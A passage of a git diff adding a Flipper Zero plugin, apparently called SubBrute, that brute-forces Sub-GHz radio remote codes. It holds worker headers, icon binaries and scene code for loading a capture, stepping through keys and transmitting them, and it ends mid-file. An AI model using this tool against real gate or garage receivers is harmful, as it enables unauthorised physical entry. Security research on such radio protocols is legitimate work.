a/applications/plugins/subbrute/helpers/subbrute_worker.h b/applications/plugins/subbrute/helpers/subbrute_worker.h new file mode 100644 index 000000000..4046f997c --- /dev/null +++ b/applications/plugins/subbrute/helpers/subbrute_worker.h @@ -0,0 +1,42 @@ +#pragma once + +#include "../subbrute_protocols.h" + +typedef enum { + SubBruteWorkerStateIDLE, + SubBruteWorkerStateReady, + SubBruteWorkerStateTx, + SubBruteWorkerStateFinished +} SubBruteWorkerState; + +typedef void (*SubBruteWorkerCallback)(void* context, SubBruteWorkerState state); + +typedef struct SubBruteWorker SubBruteWorker; + +SubBruteWorker* subbrute_worker_alloc(); +void subbrute_worker_free(SubBruteWorker* instance); +uint64_t subbrute_worker_get_step(SubBruteWorker* instance); +bool subbrute_worker_set_step(SubBruteWorker* instance, uint64_t step); +bool subbrute_worker_is_running(SubBruteWorker* instance); +bool subbrute_worker_init_default_attack( + SubBruteWorker* instance, + SubBruteAttacks attack_type, + uint64_t step, + const SubBruteProtocol* protocol, + uint8_t extra_repeats); +bool subbrute_worker_init_file_attack( + SubBruteWorker* instance, + uint64_t step, + uint8_t load_index, + uint64_t file_key, + SubBruteProtocol* protocol, + uint8_t extra_repeats, + bool two_bytes); +bool subbrute_worker_start(SubBruteWorker* instance); +void subbrute_worker_stop(SubBruteWorker* instance); +bool subbrute_worker_transmit_current_key(SubBruteWorker* instance, uint64_t step); +bool subbrute_worker_can_manual_transmit(SubBruteWorker* instance); +void subbrute_worker_set_callback( + SubBruteWorker* instance, + SubBruteWorkerCallback callback, + void* context); \ No newline at end of file diff --git a/applications/plugins/subbrute/helpers/subbrute_worker_private.h b/applications/plugins/subbrute/helpers/subbrute_worker_private.h new file mode 100644 index 000000000..e38e77dc4 --- /dev/null +++ b/applications/plugins/subbrute/helpers/subbrute_worker_private.h @@ -0,0 +1,48 @@ +#pragma once + +#include "subbrute_worker.h" +#include +#include +#include +#include + +struct SubBruteWorker { + SubBruteWorkerState state; + volatile bool worker_running; + volatile bool initiated; + volatile bool transmit_mode; + + // Current step + uint64_t step; + + // SubGhz + FuriThread* thread; + SubGhzProtocolDecoderBase* decoder_result; + SubGhzEnvironment* environment; + SubGhzTransmitter* transmitter; + const char* protocol_name; + + // Initiated values + SubBruteAttacks attack; // Attack state + uint32_t frequency; + FuriHalSubGhzPreset preset; + SubBruteFileProtocol file; + uint8_t bits; + uint32_t te; + uint8_t repeat; + uint8_t load_index; // Index of group to bruteforce in loaded file + uint64_t file_key; + uint64_t max_value; // Max step + bool two_bytes; + + // Manual transmit + uint32_t last_time_tx_data; + + // Callback for changed states + SubBruteWorkerCallback callback; + void* context; +}; + +int32_t subbrute_worker_thread(void* context); +void subbrute_worker_subghz_transmit(SubBruteWorker* instance, FlipperFormat* flipper_format); +void subbrute_worker_send_callback(SubBruteWorker* instance); \ No newline at end of file diff --git a/applications/plugins/subbrute/images/ButtonDown_7x4.png b/applications/plugins/subbrute/images/ButtonDown_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..2954bb6a67d1c23c0bb5d765e8d2aa04b9b5adec GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J9|(o>FH3<^BV2haYO z-y5_sM4;GPjq%Ck6>60csmUj6EiNa>ORduPH4*)h!w|e3sE@(Z)z4*}Q$iC10Gods AV*mgE literal 0 HcmV?d00001 diff --git a/applications/plugins/subbrute/images/ButtonUp_7x4.png b/applications/plugins/subbrute/images/ButtonUp_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..1be79328b40a93297a5609756328406565c437c0 GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J8d-yTOk1_O>mFaFD) zeWb+ZHz{mGZZ1QpXe09^4tcYT#4oe=UbmGC^A-KE*|F&zP#=S*tDnm{r-UX30HgpM AM*si- literal 0 HcmV?d00001 diff --git a/applications/plugins/subbrute/images/DolphinNice_96x59.png b/applications/plugins/subbrute/images/DolphinNice_96x59.png new file mode 100644 index 0000000000000000000000000000000000000000..a299d3630239b4486e249cc501872bed5996df3b GIT binary patch literal 2459 zcmbVO3s4i+8V(M(gEFORwSrA`4O0uPn|M|5y* zB*aMDxC&7(gP9JN;POOi-9khrC>Z9YJs2U!LnVcQEEC0fDtKo&ILlzb30%M}3J^;~ zv7RzcsilOs4Mq@tD*&R;!LMSk2A~{(`HK9|hQBqEX)3sQr9Je6SZU*F-^fD-p+~Hs; zHLkO%v?>ZoxEv+F#whudr%615FkA0DYR0tMEo}3OOY#xecLWe>xV?u5KtSmC^ z7)Fmj6gjfKstiEV-*Cxbbb+&rRWuI_rBJ)ybs_f1Rn&f2>q3pYwI^|J(hdn{j{0EZIm_F zpIyIWLsRUgOItR-dUbVd|6Zo=_BU_Tj4|{{jxO#=JH4o8er(5{!nZD_j4}MH&zh~9 zVLC~y(0-D6GO0ghZD8BYzP?o{>22~lT6^d@X{SwQ8vrNY-PPIMajIwC)`s14Ep72@ zeq7YOzM`?U{+W)ocXBr`eSOcpk?Rxc=ou5&)fWW|pD};-Z0mvk9}=&`Rb&y<77W~a z(>6YM;6Y5aIU~JKZ}mQZynKHiSTQ#Bczn@&jTiN^?vPJ(jhm7cXLx0oum5P$`TceG zU+wR;OO^)8CVlnM)5p$CO&e94KJt>HccCaHGusmW_b`T6m| z-R6V6Db1pErTot?^d22ojm+2>_)FbD`_+WbDGMx9f@hO27maS2`csiV(D&Fs`PS2& zvrq18du_&zXID(!KIxsU$)iuTYuZ?zmYiP&n&i@Be{IdbS-jA2c0QAlu5NXQv_0K< z3Hvs4eeu6B7yD&CNT~gIkMV&UkRU=V!iQ(+_(O&u^ah$+s{_yn(yBYeD40HeU{xGsIT6W Zfq!wOp!Qs09sk=B|BJW%k>>fR tFX0r{ATVKKadYB%@iyyxiGP0@l^IrYh`!(``e6go>*?y}vd$@?2>@Gm8_WOz literal 0 HcmV?d00001 diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_02.png b/applications/plugins/subbrute/images/Sub1ghz_14/frame_02.png new file mode 100644 index 0000000000000000000000000000000000000000..2dff1c031d4748d04edb7ae1d0d3df15121dd0d2 GIT binary patch literal 96 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nlx~Gd{2*>s09sk=B|BJW%k>>fR tFOhVBs09sk=B|BJW%l2-^} mb`v-@PoJm!p244=%s0AOG7K`~Ecu&S~so Xa21wb&|;kR2Bgf>)z4*}Q$iB}IfW9v literal 0 HcmV?d00001 diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_05.png b/applications/plugins/subbrute/images/Sub1ghz_14/frame_05.png new file mode 100644 index 0000000000000000000000000000000000000000..79b2bc97252d410ee512aa13ec302299bd320dac GIT binary patch literal 79 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nln5Ts0AOG7K`}VzIR8)A( aFUG=PCM_*c^)aXfq|(#X&t;ucLK6T{krEF8 literal 0 HcmV?d00001 diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_06.png b/applications/plugins/subbrute/images/Sub1ghz_14/frame_06.png new file mode 100644 index 0000000000000000000000000000000000000000..8fce0c44d6ea51958a29a3a5f908064554f420e2 GIT binary patch literal 90 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nlqNj^v2*>s0AOG7KJMP_2-0{Ed m;VCHrCZl_I5`TPV=VfFNUoH6|dD-IGAWfdGelF{r5}E+qb{hZy literal 0 HcmV?d00001 diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_rate b/applications/plugins/subbrute/images/Sub1ghz_14/frame_rate new file mode 100644 index 000000000..e440e5c84 --- /dev/null +++ b/applications/plugins/subbrute/images/Sub1ghz_14/frame_rate @@ -0,0 +1 @@ +3 \ No newline at end of file diff --git a/applications/plugins/subbrute/images/sub1_10px.png b/applications/plugins/subbrute/images/sub1_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..5a25fdf4ef1c6cf53634aa74675001a3e8c85b7b GIT binary patch literal 299 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xkYHHq`AGmsv7|ftIx;Y9?C1WI$O_~uBzpw; zGB8xBF)%c=FfjZA3N^f7U???UV0e|lz+g3lfkC`r&aOZkpafHrx4R1i<>&pI=m5)cB{fFDGZlI8yr;B3<$MxhJ?+;A4eL&#) z0Ra}bue?07WhLz78x$BO|L3mq-MMxdP^D^#YeY#(Vo9o1a#1RfVlXl=GSoFN)ipE; zF*LF=Hn1|b&^9ozGB8+QQTzo(LvDUbW?CgwgE3G~h=HkaokFrFFjTCqLGcCwos z5f>!HjT=Ych{_2h4sbwK@B9~B;Kl{1yxFz4rD{VithDQ~_nYs1?|aX0K07?Pbz|d= z4MkCIj7P&GxXSg$E7#!n+Tro+*3^{swYzR)MCE|b($Pi5?_3;A=*0;Qn6|U6 z-du!0kn@J9i##jpaM9P6ydkXRW2~u5NORKHc4a{II671ZqT;HrTZkHlq56St#-2<3 z;9b=+EDIYRHf?13q2q<7qqZLn!c{B@kB0BH!Qig1&6=hRF`m!o`rOtMO%R#YrQoi4a*=slzU!YT3H0zI8V(n3&gZOGWJlJ|qqAYqDy{ z2$1PcOgl7sp%J`ez`|HTBWMIh8gezTU}rYv+^mj+23 zBiG)9qHR>$^1mBOn-vL{)kDh7;6zb+r#gxP3#F|V7%Mr6G3Vym?kL%s_%r11ZtY+QXut%nAL$85H;cI5W zNn(tLyOY + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) SubBruteScene##id, +typedef enum { +#include "subbrute_scene_config.h" + SubBruteSceneNum, +} SubBruteScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers subbrute_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "subbrute_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "subbrute_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "subbrute_scene_config.h" +#undef ADD_SCENE diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_config.h b/applications/plugins/subbrute/scenes/subbrute_scene_config.h new file mode 100644 index 000000000..3541df9ac --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_config.h @@ -0,0 +1,7 @@ +ADD_SCENE(subbrute, load_file, LoadFile) +ADD_SCENE(subbrute, load_select, LoadSelect) +ADD_SCENE(subbrute, run_attack, RunAttack) +ADD_SCENE(subbrute, save_name, SaveName) +ADD_SCENE(subbrute, save_success, SaveSuccess) +ADD_SCENE(subbrute, setup_attack, SetupAttack) +ADD_SCENE(subbrute, start, Start) \ No newline at end of file diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_load_file.c b/applications/plugins/subbrute/scenes/subbrute_scene_load_file.c new file mode 100644 index 000000000..8aae1bcad --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_load_file.c @@ -0,0 +1,91 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneLoadFile" + +void subbrute_scene_load_file_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + + // Input events and views are managed by file_browser + FuriString* app_folder; + FuriString* load_path; + load_path = furi_string_alloc(); + app_folder = furi_string_alloc_set(SUBBRUTE_PATH); + + DialogsFileBrowserOptions browser_options; + dialog_file_browser_set_basic_options(&browser_options, SUBBRUTE_FILE_EXT, &I_sub1_10px); + + SubBruteFileResult load_result = SubBruteFileResultUnknown; + // TODO: DELETE IT +#ifdef SUBBRUTE_FAST_TRACK + bool res = true; + furi_string_printf(load_path, "%s", "/ext/subghz/princeton.sub"); +#else + bool res = + dialog_file_browser_show(instance->dialogs, load_path, app_folder, &browser_options); +#endif +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "load_path: %s, app_folder: %s", + furi_string_get_cstr(load_path), + furi_string_get_cstr(app_folder)); +#endif + if(res) { + load_result = + subbrute_device_load_from_file(instance->device, furi_string_get_cstr(load_path)); + if(load_result == SubBruteFileResultOk) { + uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + + load_result = subbrute_device_attack_set( + instance->device, SubBruteAttackLoadFile, extra_repeats); + if(load_result == SubBruteFileResultOk) { + if(!subbrute_worker_init_file_attack( + instance->worker, + instance->device->current_step, + instance->device->bit_index, + instance->device->key_from_file, + instance->device->file_protocol_info, + extra_repeats, + instance->device->two_bytes)) { + furi_crash("Invalid attack set!"); + } + // Ready to run! + FURI_LOG_I(TAG, "Ready to run"); + res = true; + } + } + + if(load_result == SubBruteFileResultOk) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadSelect); + } else { + FURI_LOG_E(TAG, "Returned error: %d", load_result); + + FuriString* dialog_msg; + dialog_msg = furi_string_alloc(); + furi_string_cat_printf( + dialog_msg, "Cannot parse\nfile: %s", subbrute_device_error_get_desc(load_result)); + dialog_message_show_storage_error(instance->dialogs, furi_string_get_cstr(dialog_msg)); + furi_string_free(dialog_msg); + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneStart); + } + } else { + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneStart); + } + + furi_string_free(app_folder); + furi_string_free(load_path); +} + +void subbrute_scene_load_file_on_exit(void* context) { + UNUSED(context); +} + +bool subbrute_scene_load_file_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + UNUSED(event); + return false; +} \ No newline at end of file diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_load_select.c b/applications/plugins/subbrute/scenes/subbrute_scene_load_select.c new file mode 100644 index 000000000..d018e8b4d --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_load_select.c @@ -0,0 +1,82 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneStart" + +void subbrute_scene_load_select_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +void subbrute_scene_load_select_on_enter(void* context) { + furi_assert(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_load_select_on_enter"); +#endif + SubBruteState* instance = (SubBruteState*)context; + SubBruteMainView* view = instance->view_main; + + instance->current_view = SubBruteViewMain; + subbrute_main_view_set_callback(view, subbrute_scene_load_select_callback, instance); + subbrute_main_view_set_index( + view, 7, true, instance->device->two_bytes, instance->device->key_from_file); + + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); +} + +void subbrute_scene_load_select_on_exit(void* context) { + UNUSED(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_load_select_on_exit"); +#endif +} + +bool subbrute_scene_load_select_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubBruteCustomEventTypeIndexSelected) { + /*#ifdef FURI_DEBUG && !SUBBRUTE_FAST_TRACK + view_dispatcher_stop(instance->view_dispatcher); + consumed = true; +#else*/ + instance->device->current_step = 0; + instance->device->bit_index = subbrute_main_view_get_index(instance->view_main); + instance->device->two_bytes = subbrute_main_view_get_two_bytes(instance->view_main); + uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + instance->device->max_value = subbrute_protocol_calc_max_value( + instance->device->attack, + instance->device->bit_index, + instance->device->two_bytes); + + if(!subbrute_worker_init_file_attack( + instance->worker, + instance->device->current_step, + instance->device->bit_index, + instance->device->key_from_file, + instance->device->file_protocol_info, + extra_repeats, + instance->device->two_bytes)) { + furi_crash("Invalid attack set!"); + } + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); + /*#endif*/ + consumed = true; + } /* else if(event.event == SubBruteCustomEventTypeChangeStepUp) { + instance->device->two_bytes = true; + } else if(event.event == SubBruteCustomEventTypeChangeStepDown) { + instance->device->two_bytes = false; + }*/ + } else if(event.type == SceneManagerEventTypeBack) { + if(!scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneStart)) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + } + consumed = true; + } + + return consumed; +} \ No newline at end of file diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_run_attack.c b/applications/plugins/subbrute/scenes/subbrute_scene_run_attack.c new file mode 100644 index 000000000..2f22c25d4 --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_run_attack.c @@ -0,0 +1,104 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneRunAttack" + +static void subbrute_scene_run_attack_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +static void + subbrute_scene_run_attack_device_state_changed(void* context, SubBruteWorkerState state) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + + if(state == SubBruteWorkerStateIDLE) { + // Can't be IDLE on this step! + view_dispatcher_send_custom_event(instance->view_dispatcher, SubBruteCustomEventTypeError); + } else if(state == SubBruteWorkerStateFinished) { + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypeTransmitFinished); + } +} +void subbrute_scene_run_attack_on_exit(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + + notification_message(instance->notifications, &sequence_blink_stop); + subbrute_worker_stop(instance->worker); +} + +void subbrute_scene_run_attack_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + + instance->current_view = SubBruteViewAttack; + subbrute_attack_view_set_callback(view, subbrute_scene_run_attack_callback, instance); + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); + + subbrute_worker_set_callback( + instance->worker, subbrute_scene_run_attack_device_state_changed, instance); + + if(!subbrute_worker_is_running(instance->worker)) { + subbrute_worker_set_step(instance->worker, instance->device->current_step); + if(!subbrute_worker_start(instance->worker)) { + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypeError); + } else { + notification_message(instance->notifications, &sequence_single_vibro); + notification_message(instance->notifications, &sequence_blink_start_yellow); + } + } +} + +bool subbrute_scene_run_attack_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + uint64_t step = subbrute_worker_get_step(instance->worker); + instance->device->current_step = step; + subbrute_attack_view_set_current_step(view, step); + + if(event.event == SubBruteCustomEventTypeTransmitFinished) { + notification_message(instance->notifications, &sequence_display_backlight_on); + notification_message(instance->notifications, &sequence_double_vibro); + + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); + } else if( + event.event == SubBruteCustomEventTypeTransmitNotStarted || + event.event == SubBruteCustomEventTypeBackPressed) { + if(subbrute_worker_is_running(instance->worker)) { + // Notify + notification_message(instance->notifications, &sequence_single_vibro); + } + // Stop transmit + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack); + } else if(event.event == SubBruteCustomEventTypeError) { + notification_message(instance->notifications, &sequence_error); + + // Stop transmit + scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack); + } else if(event.event == SubBruteCustomEventTypeUpdateView) { + //subbrute_attack_view_set_current_step(view, instance->device->current_step); + } + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + uint64_t step = subbrute_worker_get_step(instance->worker); + instance->device->current_step = step; + subbrute_attack_view_set_current_step(view, step); + + consumed = true; + } + + return consumed; +} diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_save_name.c b/applications/plugins/subbrute/scenes/subbrute_scene_save_name.c new file mode 100644 index 000000000..bb129e948 --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_save_name.c @@ -0,0 +1,84 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" +#include + +#define TAG "SubBruteSceneSaveFile" + +void subbrute_scene_save_name_on_enter(void* context) { + SubBruteState* instance = (SubBruteState*)context; + + // Setup view + TextInput* text_input = instance->text_input; + set_random_name(instance->text_store, sizeof(instance->text_store)); + + text_input_set_header_text(text_input, "Name of file"); + text_input_set_result_callback( + text_input, + subbrute_text_input_callback, + instance, + instance->text_store, + SUBBRUTE_MAX_LEN_NAME, + true); + + furi_string_reset(instance->file_path); + furi_string_set_str(instance->file_path, SUBBRUTE_PATH); + + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + furi_string_get_cstr(instance->file_path), SUBBRUTE_FILE_EXT, ""); + text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); + + view_dispatcher_switch_to_view(instance->view_dispatcher, SubBruteViewTextInput); +} + +bool subbrute_scene_save_name_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeBack) { + scene_manager_previous_scene(instance->scene_manager); + return true; + } else if( + event.type == SceneManagerEventTypeCustom && + event.event == SubBruteCustomEventTypeTextEditDone) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Saving: %s", instance->text_store); +#endif + bool success = false; + if(strcmp(instance->text_store, "")) { + furi_string_reset(instance->file_path); + furi_string_cat_printf( + instance->file_path, + "%s/%s%s", + SUBBRUTE_PATH, + instance->text_store, + SUBBRUTE_FILE_EXT); + + if(subbrute_device_save_file( + instance->device, furi_string_get_cstr(instance->file_path))) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSaveSuccess); + success = true; + consumed = true; + } + } + + if(!success) { + dialog_message_show_storage_error(instance->dialogs, "Error during saving!"); + consumed = scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack); + } + } + return consumed; +} + +void subbrute_scene_save_name_on_exit(void* context) { + SubBruteState* instance = (SubBruteState*)context; + + // Clear view + void* validator_context = text_input_get_validator_callback_context(instance->text_input); + text_input_set_validator(instance->text_input, NULL, NULL); + validator_is_file_free(validator_context); + + text_input_reset(instance->text_input); + + furi_string_reset(instance->file_path); +} diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_save_success.c b/applications/plugins/subbrute/scenes/subbrute_scene_save_success.c new file mode 100644 index 000000000..20b1a0de4 --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_save_success.c @@ -0,0 +1,51 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +void subbrute_scene_save_success_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = context; + + // Setup view + Popup* popup = instance->popup; + popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); + popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); + popup_set_timeout(popup, 1500); + popup_set_context(popup, instance); + popup_set_callback(popup, subbrute_popup_closed_callback); + popup_enable_timeout(popup); + view_dispatcher_switch_to_view(instance->view_dispatcher, SubBruteViewPopup); +} + +bool subbrute_scene_save_success_on_event(void* context, SceneManagerEvent event) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + //SubBruteMainView* view = instance->view_main; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubBruteCustomEventTypePopupClosed) { + if(!scene_manager_search_and_switch_to_previous_scene( + instance->scene_manager, SubBruteSceneSetupAttack)) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + } + return true; + } + } + return false; +} + +void subbrute_scene_save_success_on_exit(void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + + // Clear view + Popup* popup = instance->popup; + popup_set_header(popup, NULL, 0, 0, AlignCenter, AlignBottom); + popup_set_text(popup, NULL, 0, 0, AlignCenter, AlignTop); + popup_set_icon(popup, 0, 0, NULL); + popup_set_callback(popup, NULL); + popup_set_context(popup, NULL); + popup_set_timeout(popup, 0); + popup_disable_timeout(popup); +} diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_setup_attack.c b/applications/plugins/subbrute/scenes/subbrute_scene_setup_attack.c new file mode 100644 index 000000000..c2877c7cb --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_setup_attack.c @@ -0,0 +1,138 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneSetupAttack" + +static void subbrute_scene_setup_attack_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +static void + subbrute_scene_setup_attack_device_state_changed(void* context, SubBruteWorkerState state) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; + + if(state == SubBruteWorkerStateIDLE) { + // Can't be IDLE on this step! + view_dispatcher_send_custom_event(instance->view_dispatcher, SubBruteCustomEventTypeError); + } +} + +void subbrute_scene_setup_attack_on_enter(void* context) { + furi_assert(context); + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + + notification_message(instance->notifications, &sequence_reset_vibro); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Enter Attack: %s", subbrute_protocol_name(instance->device->attack)); +#endif + + subbrute_worker_set_callback( + instance->worker, subbrute_scene_setup_attack_device_state_changed, context); + if(subbrute_worker_is_running(instance->worker)) { + subbrute_worker_stop(instance->worker); + instance->device->current_step = subbrute_worker_get_step(instance->worker); + } + + subbrute_attack_view_init_values( + view, + instance->device->attack, + instance->device->max_value, + instance->device->current_step, + false, + instance->device->extra_repeats); + + instance->current_view = SubBruteViewAttack; + subbrute_attack_view_set_callback(view, subbrute_scene_setup_attack_callback, instance); + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); +} + +void subbrute_scene_setup_attack_on_exit(void* context) { + furi_assert(context); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_scene_setup_attack_on_exit"); +#endif + SubBruteState* instance = (SubBruteState*)context; + subbrute_worker_stop(instance->worker); + notification_message(instance->notifications, &sequence_blink_stop); + notification_message(instance->notifications, &sequence_reset_vibro); +} + +bool subbrute_scene_setup_attack_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + SubBruteAttackView* view = instance->view_attack; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubBruteCustomEventTypeTransmitStarted) { + scene_manager_next_scene(instance->scene_manager, SubBruteSceneRunAttack); + } else if(event.event == SubBruteCustomEventTypeSaveFile) { + subbrute_attack_view_init_values( + view, + instance->device->attack, + instance->device->max_value, + instance->device->current_step, + false, + instance->device->extra_repeats); + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSaveName); + } else if(event.event == SubBruteCustomEventTypeBackPressed) { + subbrute_attack_view_init_values( + view, + instance->device->attack, + instance->device->max_value, + instance->device->current_step, + false, + instance->device->extra_repeats); + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + } else if(event.event == SubBruteCustomEventTypeError) { + notification_message(instance->notifications, &sequence_error); + } else if(event.event == SubBruteCustomEventTypeTransmitCustom) { + // We can transmit only in not working states + if(subbrute_worker_can_manual_transmit(instance->worker)) { + // MANUAL Transmit! + // Blink + notification_message(instance->notifications, &sequence_blink_green_100); + subbrute_worker_transmit_current_key( + instance->worker, instance->device->current_step); + // Stop + notification_message(instance->notifications, &sequence_blink_stop); + } + } else if(event.event == SubBruteCustomEventTypeChangeStepUp) { + // +1 + uint64_t step = subbrute_device_add_step(instance->device, 1); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } else if(event.event == SubBruteCustomEventTypeChangeStepUpMore) { + // +50 + uint64_t step = subbrute_device_add_step(instance->device, 50); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } else if(event.event == SubBruteCustomEventTypeChangeStepDown) { + // -1 + uint64_t step = subbrute_device_add_step(instance->device, -1); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } else if(event.event == SubBruteCustomEventTypeChangeStepDownMore) { + // -50 + uint64_t step = subbrute_device_add_step(instance->device, -50); + subbrute_worker_set_step(instance->worker, step); + subbrute_attack_view_set_current_step(view, step); + } + + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + if(subbrute_worker_is_running(instance->worker)) { + instance->device->current_step = subbrute_worker_get_step(instance->worker); + } + subbrute_attack_view_set_current_step(view, instance->device->current_step); + consumed = true; + } + + return consumed; +} diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_start.c b/applications/plugins/subbrute/scenes/subbrute_scene_start.c new file mode 100644 index 000000000..256762d92 --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbrute_scene_start.c @@ -0,0 +1,89 @@ +#include "../subbrute_i.h" +#include "subbrute_scene.h" + +#define TAG "SubBruteSceneStart" + +void subbrute_scene_start_callback(SubBruteCustomEvent event, void* context) { + furi_assert(context); + + SubBruteState* instance = (SubBruteState*)context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_scene_start_callback"); +#endif + view_dispatcher_send_custom_event(instance->view_dispatcher, event); +} + +void subbrute_scene_start_on_enter(void* context) { + furi_assert(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_start_on_enter"); +#endif + SubBruteState* instance = (SubBruteState*)context; + SubBruteMainView* view = instance->view_main; + + instance->current_view = 